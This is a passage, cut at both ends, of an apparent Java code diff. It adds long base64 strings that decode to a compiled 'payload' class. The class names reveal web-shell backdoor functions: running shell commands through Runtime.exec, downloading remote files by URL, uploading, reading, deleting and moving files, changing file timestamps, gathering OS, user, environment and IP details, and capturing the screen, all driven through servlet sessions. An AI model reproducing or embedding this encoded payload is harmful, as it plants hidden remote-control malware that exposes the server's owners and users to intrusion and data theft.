JFUFQccoAAvLRUKhAoBGQYVCwd4ED9+NJFUFQWZAFwtFQqECgEQPVQtFQqECgEQPVSnAEcqFQeEBwEzEQD/fjYMLRUKhAoBGQYVCwd4ED9+FQwHeoA0kVQtFQqECgEZBhUMBXgQP340kVQVBZkADC0VCoQKARA9VLsAdVkttwDYsAAAAAIAJAAAAKIAKAAABQ4AAgUPAAUFEAAQBREAEwUSABYFEwAbBRQAHgUVACcFFgAtBRcAPQUYAEUFGQBIBRoASwUbAFcFHABiBR0AjQUeAKAFHwCzBSAAxgUhANYFHADdBSMA6AUkAO8FJQDzBRoA+gUnAQAFKAENBSkBHAUqASIFKwE0BSwBOQUtAUIFLgFLBTABTgUxAVsFMgFyBTMBhAU0AYkFNQGSBTkAJQAAALYAEgAAAZsFRQAPAAAAAgGZBUYA/AABAAUBlgVHAPwAAgAQAYsFSAAPAAMAEwGIBUkA/AAEABYBhQVKAT8ABQAbAYAFSwAGAAYAHgF9BUwA/AAHACcBdAVNAPwACAAtAW4FTgD8AAkASAFTBU8A/AAKAFcAnAVQAPwACwBbAIIFUQD8AAwAXwB+BVIA/AANAI0ASQVTAPwADgDoAAsFVAD8AAwBDQCFBVUA/AALAVsANwVWAPwADAAJBVcBYwABACEAAAMIAAYADAAAAZgqtgHOmgAHA7wIsCq2AHRMAz0rvj4DNgQdHGQ2BSsdBGQzED2gABOEBAErHQVkMxA9oAAGhAQBFQSaABIVBQZ+mQALBxUFBn5kNgQGFQUGYAdsaBUEZLwIOgYRAQC8CjoHGQcCuAVYAzYIpwARGQeyACIVCDQVCE+ECAEVCLIAIr6h/+wZBxA9EP5PAzYIAzYJEBI2CqcAiischAIBMxEA/342CxkHFQsuWTYLnAAzFQsQ/qAALBUKEAagABMcHZ8AFSschAIBMxA9oAAKFQoQEqAAU7sFW1kTBV23BV+/FQkVCxUKeIA2CYQK+hUKnAAxGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVBkGFQiECAEVCZFUEBI2CgM2CRwdof93FQoQBqAAFBkGFQiECAEVCRAQepFUpwA5FQqaACIZBhUIhAgBFQkQEHqRVBkGFQiECAEVCRAIepFUpwAVFQoQDKAADrsFW1kTBWC3BV+/FQgZBr6fAB4VCLwIOgsZBgMZCwMZBr4VCLgEjLgClBkLOgYZBrAAAAACACQAAADKADIAAAU9AAcFPgALBUAAEAVBABIFQgAVBUMAGAVEAB0FRQAnBUYAKgVHADQFSAA3BUsAQwVMAEsFTgBaBU8AYQVQAGcFUQBtBVIAeAVRAIQFVACLBVUAjgVWAJEFVwCVBVgAmAVZAKQFWgCvBVsAtgVcANQFXQDfBWIA6QVjAOwFZADxBWUA/wVmAQ0FZwEYBWgBHAVpAR8FWAEkBW0BKwVuATkFbwFBBXABTwVxAV0FcgFnBXQBcgV2AXoFdwGABXgBkQV5AZUFewAlAAAAjgAOAAABmAViAKkAAAAQAYgFRQAPAAEAEgGGBUwA/AACABUBgwVOAPwAAwAYAYAFYwD8AAQAHQF7APsA/AAFAFoBPgVIAA8ABgBhATcFSwVkAAcAagAaAeAA/AAIAI4BCgVPAPwACACRAQcFUwD8AAkAlQEDBWUA/AAKAKQAewA7APwACwGAABUElAAPAAsAAQVmAAAAAgVn"); + byte[] bytes1 = Base64.getDecoder().decode("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQE